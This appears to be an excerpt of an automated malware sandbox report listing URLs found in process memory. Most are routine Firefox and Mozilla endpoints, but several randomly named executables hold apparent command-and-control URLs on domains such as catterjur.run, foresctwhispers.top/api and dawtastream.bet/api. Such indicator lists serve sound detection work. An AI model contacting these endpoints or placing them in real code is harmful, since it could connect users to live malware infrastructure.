Source: BitLockerToGo.exe, 0000000D.00000003.1637473986.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637653294.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637024910.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1636421770.0000000004DD9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1638018404.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1636240633.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637260014.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637260014.0000000004D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000024.00000002.1770049300.000001486B10E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1749272295.000001486A26E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1790270790.000001486D69B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1726196978.00000148653F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1749272295.000001486A203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1777629021.000001486BA61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1777629021.000001486BA51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1790270790.000001486D6A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1748820641.000001486A180000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1777629021.000001486BA98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 4bcefcec83.exe, 00000016.00000003.3635125013.0000000005B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.leA
Source: 4bcefcec83.exe, 00000016.00000003.3635302098.00000000012A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000024.00000002.1796327904.0000014871CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.1755936901.000001486A707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 00000024.00000003.1596846145.0000014869722000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1596237310.0000014869500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1597248347.0000014869763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.1597452182.0000014869783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000024.00000002.1785528103.000001486CC7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000024.00000003.1677230579.000001486C0A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgcreateContentPrincipalFromOriginremoveTabsProgressListenerwidget.use-xdg-d
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1746377532.0000014869D6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1770706460.000001486B2C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000024.00000002.1796327904.0000014871CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: 5a20da7e37.exe, 0000000F.00000002.2457150244.0000000003611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://arisechairedd.shop/
Source: 5a20da7e37.exe, 0000000F.00000002.2455152254.0000000001187000.00000004.00000020.00020000.00000000.sdmp, 5a20da7e37.exe, 0000000F.00000002.2455793813.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisechairedd.shop/JnsHY
Source: 5a20da7e37.exe, 0000000F.00000002.2455793813.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisechairedd.shop/JnsHYTP
Source: 5a20da7e37.exe, 0000000F.00000002.2454835391.0000000001163000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975251616.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisechairedd.shop:443/JnsHYMicrosoft
Source: firefox.exe, 00000024.00000002.1788324648.000001486D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000024.00000002.1722815184.0000014859A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1799120110.0000014871E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://begindecafer.world:443/QwdZdf
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016B7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3666338301.0000000001265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016B7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 00000024.00000002.1762835110.000001486AC82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: 5a20da7e37.exe, 0000000F.00000002.2455383859.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2550475724.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://catterjur.run/
Source: 4bcefcec83.exe, 00000014.00000002.2550475724.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://catterjur.run/0
Source: 4bcefcec83.exe, 00000014.00000003.2315953968.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://catterjur.run/3(
Source: 5a20da7e37.exe, 0000000F.00000002.2455383859.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, 5a20da7e37.exe, 0000000F.00000002.2455383859.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, 5a20da7e37.exe, 0000000F.00000002.2455793813.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2544142655.0000000001719000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2537139103.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2399025897.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2399139972.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2390014961.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2543993251.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2462083081.0000000001716000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2358479338.000000000170B000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2316069465.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2462083081.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2544142655.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.0000000001719000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2543184915.0000000001688000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2358479338.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3886242037.0000000001201000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000002.3975818958.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://catterjur.run/boSnzhu
Source: 4bcefcec83.exe, 00000014.00000003.2390014961.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2315953968.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2390401649.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2358831182.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2360560512.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2358479338.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://catterjur.run/boSnzhuK
Source: 4bcefcec83.exe, 00000014.00000003.2316069465.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://catterjur.run/boSnzhuZ
Source: 5a20da7e37.exe, 0000000F.00000002.2454835391.0000000001163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://catterjur.run:443/boSnzhual
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000024.00000003.1596846145.0000014869722000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1596237310.0000014869500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1597248347.0000014869763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.1597452182.0000014869783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000024.00000002.1779702282.000001486BC5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000024.00000002.1805731357.0000014873288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.(
Source: 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016B7000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3666338301.0000000001265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: 4bcefcec83.exe, 00000014.00000003.2362640058.00000000016B7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000024.00000002.1772148878.000001486B3E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.1800568238.0000014871F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1796327904.0000014871CF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000024.00000002.1722815184.0000014859A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: 7f41c1bc85.exe, 00000006.00000002.1336602043.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dawtastream.bet/api
Source: 7f41c1bc85.exe, 00000006.00000002.1336602043.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dawtastream.bet/api)
Source: 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run:443/jUSiaz
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000024.00000003.1700015526.000001486A936000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000024.00000003.1596846145.0000014869722000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1810797966.00002A78B7200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1596237310.0000014869500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.1597248347.0000014869763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1758287648.000001486A853000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1809810800.00001B6C18D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1760995225.000001486AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1745139928.0000014869C64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.1597452182.0000014869783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000024.00000002.1805731357.0000014873288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: firefox.exe, 00000024.00000003.1671158358.000001486B173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1740195494.0000014869070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1727135073.000001486587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://earthsymphzony.today/
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://earthsymphzony.today:443/api
Source: firefox.exe, 00000024.00000003.1600126049.0000014869333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000024.00000002.1793221076.000001486D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1796327904.0000014871C1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000003.1688267929.000001486A625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000024.00000003.1688267929.000001486A625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1resource://gre/modules/AsyncPrefs.sys.mjs
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1resource://gre/modules/AsyncPrefs.sys.mjsresource://
Source: 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foresctwhispers.top/
Source: 7f41c1bc85.exe, 00000006.00000003.1315148169.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1339717081.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foresctwhispers.top/api
Source: 7f41c1bc85.exe, 00000006.00000003.1315406322.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 7f41c1bc85.exe, 00000006.00000002.1340640569.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foresctwhispers.top:443/api
Source: 4bcefcec83.exe, 00000016.00000002.3975251616.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fostinjec.today:443/LksNAzNMicrosoft
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000024.00000002.1739397063.0000014867F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comP4c
Source: firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: BitLockerToGo.exe, 0000000D.00000003.1637473986.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637653294.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637024910.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1636421770.0000000004DD9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1638018404.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1636240633.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637260014.0000000004CC1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000D.00000003.1637260014.0000000004D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://g-cleanit.hk
Source: 4bcefcec83.exe, 00000016.00000003.3597425438.0000000001288000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3634501451.0000000001288000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3666338301.0000000001288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top/
Source: 4bcefcec83.exe, 00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.2255511672.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top//
Source: 4bcefcec83.exe, 00000016.00000003.3666338301.0000000001288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top/2)
Source: 4bcefcec83.exe, 00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garagedrootz.top/oPsoJAN
